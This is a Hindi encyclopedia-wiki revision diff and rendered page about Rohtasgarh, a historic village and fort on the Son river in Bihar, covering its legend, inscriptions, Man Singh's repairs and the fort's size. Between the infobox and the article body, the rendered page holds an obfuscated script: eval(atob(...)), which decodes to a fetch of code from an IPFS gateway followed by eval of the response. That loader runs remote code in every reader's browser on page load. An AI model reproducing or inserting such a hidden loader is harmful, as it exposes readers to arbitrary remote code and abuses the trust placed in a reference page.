"रोहतासगढ़" के अवतरणों में अंतर
भारत डिस्कवरी प्रस्तुति
फ़ौज़िया ख़ान (चर्चा | योगदान) |
|||
(इसी सदस्य द्वारा किया गया बीच का एक अवतरण नहीं दर्शाया गया) | |||
पंक्ति 1: | पंक्ति 1: | ||
− | {{ | + | {{सूचना बक्सा संक्षिप्त परिचय |
− | + | |चित्र=Rohtasgarh-Bihar.jpg | |
− | '''रोहतासगढ़''' [[बिहार]] में [[कैमूर पहाड़ियाँ|कैमूर पहाड़ी]] और [[सोन नदी]] के तट पर स्थित एक | + | |चित्र का नाम=रोहतासगढ़, बिहार |
− | + | |विवरण='रोहतासगढ़' [[बिहार]] स्थित एक प्राचीन [[ग्राम]] है। यहाँ का क़िला [[भारत का इतिहास|भारतीय इतिहास]] में काफ़ी प्रसिद्ध रहा है। | |
− | *रोहतासगढ़ का एक अभिलेख प्राप्त हुआ | + | |शीर्षक 1=राज्य |
− | *[[बंगाल]]-बिहार की सूबेदारी के दौरान | + | |पाठ 1=[[बिहार]] |
− | + | |शीर्षक 2=जनश्रुति | |
− | *रोहतास अपनी स्थिति एवं सुदृढ़ता के कारण महत्त्वपूर्ण क़िला था। यह दुर्ग पूर्व-पश्चिम में चार मील और उत्तर-दक्षिण में पाँच मील के विस्तार में है। इतना विस्तृत दुर्ग देश में दूसरा नहीं है। इस दुर्ग में चौदह द्वार | + | |पाठ 2=माना जाता है कि [[राजा हरिश्चंद्र]] के पुत्र '[[रोहिताश्व]]' के नाम पर ही इसका रखा गया था। |
+ | |शीर्षक 3= | ||
+ | |पाठ 3= | ||
+ | |शीर्षक 4= | ||
+ | |पाठ 4= | ||
+ | |शीर्षक 5= | ||
+ | |पाठ 5= | ||
+ | |शीर्षक 6= | ||
+ | |पाठ 6= | ||
+ | |शीर्षक 7= | ||
+ | |पाठ 7= | ||
+ | |शीर्षक 8= | ||
+ | |पाठ 8= | ||
+ | |शीर्षक 9= | ||
+ | |पाठ 9= | ||
+ | |शीर्षक 10= | ||
+ | |पाठ 10= | ||
+ | |संबंधित लेख=[[बिहार]], [[बिहार की संस्कृति]], [[शेरशाह सूरी]] | ||
+ | |अन्य जानकारी=[[मध्य काल]] में रोहतासगढ़ का [[दुर्ग]] [[भारत]] के सुदृढ़तम क़िलों में गिना जाता था और अपनी स्थिति के कारण "बंगाल का दूसरा नाका" कहलाता था। | ||
+ | |बाहरी कड़ियाँ= | ||
+ | |अद्यतन= | ||
+ | }} | ||
+ | |||
+ | '''रोहतासगढ़''' [[बिहार]] में [[कैमूर पहाड़ियाँ|कैमूर पहाड़ी]] और [[सोन नदी]] के तट पर स्थित एक प्राचीन [[ग्राम]] है, जो अपने [[इतिहास]] प्रसिद्ध [[दुर्ग]] के लिए प्रसिद्ध है। लोकश्रुति है कि [[हरिश्चन्द्र|महाराज हरिश्चन्द्र]] के पुत्र [[रोहिताश्व]] के नाम पर इसका नामकरण हुआ था। प्राचीन काल में इनका एक मंदिर भी यहाँ स्थित था, जिसे [[मुग़ल]] [[औरंगज़ेब|बादशाह औरंगज़ेब]] के शासन काल में तुड़वा दिया गया था। | ||
+ | |||
+ | *रोहतासगढ़ से [[बंगाल]] के महासामंत [[शशांक]] (7वीं शती ई.), जो [[हर्ष वर्धन|महाराज हर्ष]] के समकालीन था तथा जिसने हर्ष के भाई [[राज्यवर्धन]] का युद्ध में वध किया था, का एक [[अभिलेख]] प्राप्त हुआ था। | ||
+ | *[[मध्य काल]] में रोहतासगढ़ का [[दुर्ग]] [[भारत]] के सुदृढ़तम क़िलों में गिना जाता था और अपनी स्थिति के कारण "बंगाल का दूसरा नाका" कहलाता था। पहला नाका [[चुनार]] का गढ़ था। | ||
+ | *[[बंगाल]]-[[बिहार]] की सूबेदारी के दौरान [[मानसिंह]] ने इस क़िले की मरम्मत करायी थी। मानसिंह का 1597 ई. का एक [[अभिलेख]] रोहतासगढ़ क़िले में पाया गया है, जो इस तथ्य की पुष्टि करता है।<ref>जर्नल आॅव एशियाटिक सोसयटी आॅव बंगाल 1839, पृ. 354; 693</ref> | ||
+ | *रोहतास अपनी स्थिति एवं सुदृढ़ता के कारण महत्त्वपूर्ण क़िला था। यह दुर्ग पूर्व-पश्चिम में चार मील और उत्तर-दक्षिण में पाँच मील के विस्तार में है। इतना विस्तृत दुर्ग देश में दूसरा नहीं है। इस दुर्ग में चौदह द्वार थे, किंतु [[शेरशाह सूरी]] के समय चार को छोड़कर शेष बन्द कर दिये गये। | ||
− | |||
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }} | {{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }} | ||
− | |||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> | ||
− | |||
− | |||
==संबंधित लेख== | ==संबंधित लेख== | ||
− | {{भारत के दुर्ग}} | + | {{बिहार के ऐतिहासिक स्थान}}{{भारत के दुर्ग}} |
− | [[Category: | + | [[Category:बिहार]][[Category:बिहार के पर्यटन स्थल]] [[Category:ऐतिहासिक स्थल]][[Category:बिहार_के_ऐतिहासिक_स्थान]][[Category:भारत_के_दुर्ग]][[Category:ऐतिहासिक स्थान कोश]][[Category:इतिहास कोश]][[Category:पर्यटन कोश]] |
− | [[Category:बिहार]] | ||
− | [[Category:बिहार_के_ऐतिहासिक_स्थान]][[Category:भारत_के_दुर्ग]] | ||
− | [[Category:ऐतिहासिक स्थान कोश]] | ||
− | |||
__INDEX__ | __INDEX__ |
14:10, 31 जनवरी 2015 के समय का अवतरण
रोहतासगढ़
| |
विवरण | 'रोहतासगढ़' बिहार स्थित एक प्राचीन ग्राम है। यहाँ का क़िला भारतीय इतिहास में काफ़ी प्रसिद्ध रहा है। |
राज्य | बिहार |
जनश्रुति | माना जाता है कि राजा हरिश्चंद्र के पुत्र 'रोहिताश्व' के नाम पर ही इसका रखा गया था। |
संबंधित लेख | बिहार, बिहार की संस्कृति, शेरशाह सूरी |
अन्य जानकारी | मध्य काल में रोहतासगढ़ का दुर्ग भारत के सुदृढ़तम क़िलों में गिना जाता था और अपनी स्थिति के कारण "बंगाल का दूसरा नाका" कहलाता था। |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
रोहतासगढ़ बिहार में कैमूर पहाड़ी और सोन नदी के तट पर स्थित एक प्राचीन ग्राम है, जो अपने इतिहास प्रसिद्ध दुर्ग के लिए प्रसिद्ध है। लोकश्रुति है कि महाराज हरिश्चन्द्र के पुत्र रोहिताश्व के नाम पर इसका नामकरण हुआ था। प्राचीन काल में इनका एक मंदिर भी यहाँ स्थित था, जिसे मुग़ल बादशाह औरंगज़ेब के शासन काल में तुड़वा दिया गया था।
- रोहतासगढ़ से बंगाल के महासामंत शशांक (7वीं शती ई.), जो महाराज हर्ष के समकालीन था तथा जिसने हर्ष के भाई राज्यवर्धन का युद्ध में वध किया था, का एक अभिलेख प्राप्त हुआ था।
- मध्य काल में रोहतासगढ़ का दुर्ग भारत के सुदृढ़तम क़िलों में गिना जाता था और अपनी स्थिति के कारण "बंगाल का दूसरा नाका" कहलाता था। पहला नाका चुनार का गढ़ था।
- बंगाल-बिहार की सूबेदारी के दौरान मानसिंह ने इस क़िले की मरम्मत करायी थी। मानसिंह का 1597 ई. का एक अभिलेख रोहतासगढ़ क़िले में पाया गया है, जो इस तथ्य की पुष्टि करता है।[1]
- रोहतास अपनी स्थिति एवं सुदृढ़ता के कारण महत्त्वपूर्ण क़िला था। यह दुर्ग पूर्व-पश्चिम में चार मील और उत्तर-दक्षिण में पाँच मील के विस्तार में है। इतना विस्तृत दुर्ग देश में दूसरा नहीं है। इस दुर्ग में चौदह द्वार थे, किंतु शेरशाह सूरी के समय चार को छोड़कर शेष बन्द कर दिये गये।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ जर्नल आॅव एशियाटिक सोसयटी आॅव बंगाल 1839, पृ. 354; 693